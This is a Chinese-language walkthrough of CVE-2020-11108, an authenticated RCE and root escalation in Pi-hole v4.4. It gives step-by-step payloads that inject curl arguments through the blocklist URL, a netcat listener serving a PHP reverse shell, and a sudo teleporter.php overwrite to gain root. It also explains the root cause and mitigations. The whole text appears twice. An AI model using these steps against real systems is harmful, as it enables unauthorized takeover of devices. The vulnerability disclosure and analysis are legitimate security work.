CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE
字数 1878 2025-08-25 22:58:40

Pi-hole RCE+LPE漏洞分析及利用教程 (CVE-2020-11108)

漏洞概述

CVE-2020-11108是Pi-hole Web应用程序中的一个高危漏洞,允许认证用户实现远程代码执行(RCE)并提权为root(LPE)。该漏洞影响Pi-hole v4.4及更低版本。

漏洞影响

  • 影响版本: Pi-hole v4.4及更低版本
  • 攻击前提: 需要Web应用程序的认证用户权限
  • 最终效果:
    • 远程代码执行(RCE)
    • 本地权限提升至root(LPE)

漏洞利用路径

存在两种利用方式:

  1. 可靠的RCE: 不依赖特殊条件,默认安装即可利用
  2. 有条件的RCE: 需要Pi-hole服务配置为NXDOMAIN模式

可靠RCE利用步骤

步骤1: 准备Payload

  1. 登录Pi-hole Web界面
  2. 导航至"Settings > Blocklists"
  3. 禁用当前所有拦截列表(加速利用过程)
  4. 输入以下payload作为新URL:
    http://192.168.122.1#" -o fun.php -d "
    
    • 将IP地址替换为你控制的服务器IP
    • #是必需的
    • -d后的空格也是必需的

步骤2: 设置监听

  1. 在控制服务器上使用netcat监听80端口:
    nc -lvnp 80
    

步骤3: 触发漏洞

  1. 点击"Save and Update"按钮
  2. 几秒后netcat将收到GET请求
  3. 返回200响应(必需),按回车,输入任意内容,再按两次回车,然后Ctrl+c终止

步骤4: 写入Payload

  1. 再次使用netcat监听80端口
  2. 点击"Update"按钮更新Gravity
  3. 这次响应中应包含".domains"字样,表明利用成功
  4. 按回车,粘贴PHP payload(如反弹shell代码),然后Ctrl+c终止

步骤5: 执行Payload

  1. 如果使用反弹shell payload,设置监听器
  2. 访问以下URL触发payload:
    curl /admin/scripts/pi-hole/php/fun.php
    
  3. 成功获得www-data权限的shell

有条件RCE利用步骤

与可靠RCE类似,但需要满足以下条件:

  • Pi-hole服务的BLOCKINGMODE配置为NXDOMAIN

区别点:

  • 在步骤3中,收到的GET请求将包含":80:"字样
  • 其他步骤与可靠RCE相同

权限提升(LPE)步骤

步骤1: 覆盖teleporter.php

  1. 重复RCE利用过程,但使用以下payload:
    http://192.168.122.1#" -o teleporter.php -d "
    

步骤2: 执行提权

  1. 在已获得的www-data shell中执行:
    sudo pihole -a -t
    
  2. 该命令将以root身份调用被覆盖的teleporter.php
  3. 如果teleporter.php包含反弹shell payload,将获得root权限

技术分析

漏洞根源

漏洞位于gravity.sh脚本中的gravity_DownloadBlocklistFromUrl函数,具体问题在于curl命令的参数构造方式:

curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"

cmd_extheisenbergCompensator变量未加引号,导致参数注入可能。

利用原理

  1. heisenbergCompensator注入:

    • saveLocation变量构造为:${piholeDir}/list.${i}.${domain}.${domainsExtension}
    • 通过控制domain参数注入额外curl参数
    • 构造的payload使heisenbergCompensator包含-o fun.php -d参数
  2. cmd_ext注入:

    • 仅当BLOCKINGMODE=NXDOMAIN时有效
    • cmd_ext构造为:--resolve $domain:$port:$ip
    • 通过控制domain参数注入额外curl参数

限制因素

  • 无法写入Web目录外的文件,因为所有"/"字符被过滤
  • 写入的文件必须返回200 OK响应才能成功

漏洞发现过程

  1. 最初目标是寻找PHP反序列化漏洞
  2. 发现Blocklists功能可能接受用户控制的URL
  3. 分析发现后端使用curl下载列表
  4. 发现未加引号的变量导致参数注入
  5. 通过多次测试确定有效payload格式

防御措施

  • 对所有变量使用引号
  • 对用户输入进行严格过滤
  • 限制Web用户的sudo权限
  • 及时更新到修复版本

时间线

  • 2020年3月29日: 报告漏洞
  • 2020年3月30日: 分配CVE-2020-11108
  • 2020年4月2日: 发现权限提升漏洞
  • 2020年5月10日: 允许公开漏洞细节

总结

CVE-2020-11108展示了参数注入如何导致严重后果,特别是在高权限上下文中执行命令时。该漏洞利用链完整,从认证用户到root权限,强调了输入验证和最小权限原则的重要性。

Pi-hole RCE+LPE漏洞分析及利用教程 (CVE-2020-11108) 漏洞概述 CVE-2020-11108是Pi-hole Web应用程序中的一个高危漏洞,允许认证用户实现远程代码执行(RCE)并提权为root(LPE)。该漏洞影响Pi-hole v4.4及更低版本。 漏洞影响 影响版本 : Pi-hole v4.4及更低版本 攻击前提 : 需要Web应用程序的认证用户权限 最终效果 : 远程代码执行(RCE) 本地权限提升至root(LPE) 漏洞利用路径 存在两种利用方式: 可靠的RCE : 不依赖特殊条件,默认安装即可利用 有条件的RCE : 需要Pi-hole服务配置为NXDOMAIN模式 可靠RCE利用步骤 步骤1: 准备Payload 登录Pi-hole Web界面 导航至"Settings > Blocklists" 禁用当前所有拦截列表(加速利用过程) 输入以下payload作为新URL: 将IP地址替换为你控制的服务器IP # 是必需的 -d 后的空格也是必需的 步骤2: 设置监听 在控制服务器上使用netcat监听80端口: 步骤3: 触发漏洞 点击"Save and Update"按钮 几秒后netcat将收到GET请求 返回200响应(必需),按回车,输入任意内容,再按两次回车,然后Ctrl+c终止 步骤4: 写入Payload 再次使用netcat监听80端口 点击"Update"按钮更新Gravity 这次响应中应包含".domains"字样,表明利用成功 按回车,粘贴PHP payload(如反弹shell代码),然后Ctrl+c终止 步骤5: 执行Payload 如果使用反弹shell payload,设置监听器 访问以下URL触发payload: 成功获得www-data权限的shell 有条件RCE利用步骤 与可靠RCE类似,但需要满足以下条件: Pi-hole服务的BLOCKINGMODE配置为NXDOMAIN 区别点: 在步骤3中,收到的GET请求将包含":80:"字样 其他步骤与可靠RCE相同 权限提升(LPE)步骤 步骤1: 覆盖teleporter.php 重复RCE利用过程,但使用以下payload: 步骤2: 执行提权 在已获得的www-data shell中执行: 该命令将以root身份调用被覆盖的teleporter.php 如果teleporter.php包含反弹shell payload,将获得root权限 技术分析 漏洞根源 漏洞位于 gravity.sh 脚本中的 gravity_DownloadBlocklistFromUrl 函数,具体问题在于curl命令的参数构造方式: cmd_ext 和 heisenbergCompensator 变量未加引号,导致参数注入可能。 利用原理 heisenbergCompensator注入 : saveLocation 变量构造为: ${piholeDir}/list.${i}.${domain}.${domainsExtension} 通过控制 domain 参数注入额外curl参数 构造的payload使 heisenbergCompensator 包含 -o fun.php -d 参数 cmd_ ext注入 : 仅当BLOCKINGMODE=NXDOMAIN时有效 cmd_ext 构造为: --resolve $domain:$port:$ip 通过控制 domain 参数注入额外curl参数 限制因素 无法写入Web目录外的文件,因为所有"/"字符被过滤 写入的文件必须返回200 OK响应才能成功 漏洞发现过程 最初目标是寻找PHP反序列化漏洞 发现Blocklists功能可能接受用户控制的URL 分析发现后端使用curl下载列表 发现未加引号的变量导致参数注入 通过多次测试确定有效payload格式 防御措施 对所有变量使用引号 对用户输入进行严格过滤 限制Web用户的sudo权限 及时更新到修复版本 时间线 2020年3月29日: 报告漏洞 2020年3月30日: 分配CVE-2020-11108 2020年4月2日: 发现权限提升漏洞 2020年5月10日: 允许公开漏洞细节 总结 CVE-2020-11108展示了参数注入如何导致严重后果,特别是在高权限上下文中执行命令时。该漏洞利用链完整,从认证用户到root权限,强调了输入验证和最小权限原则的重要性。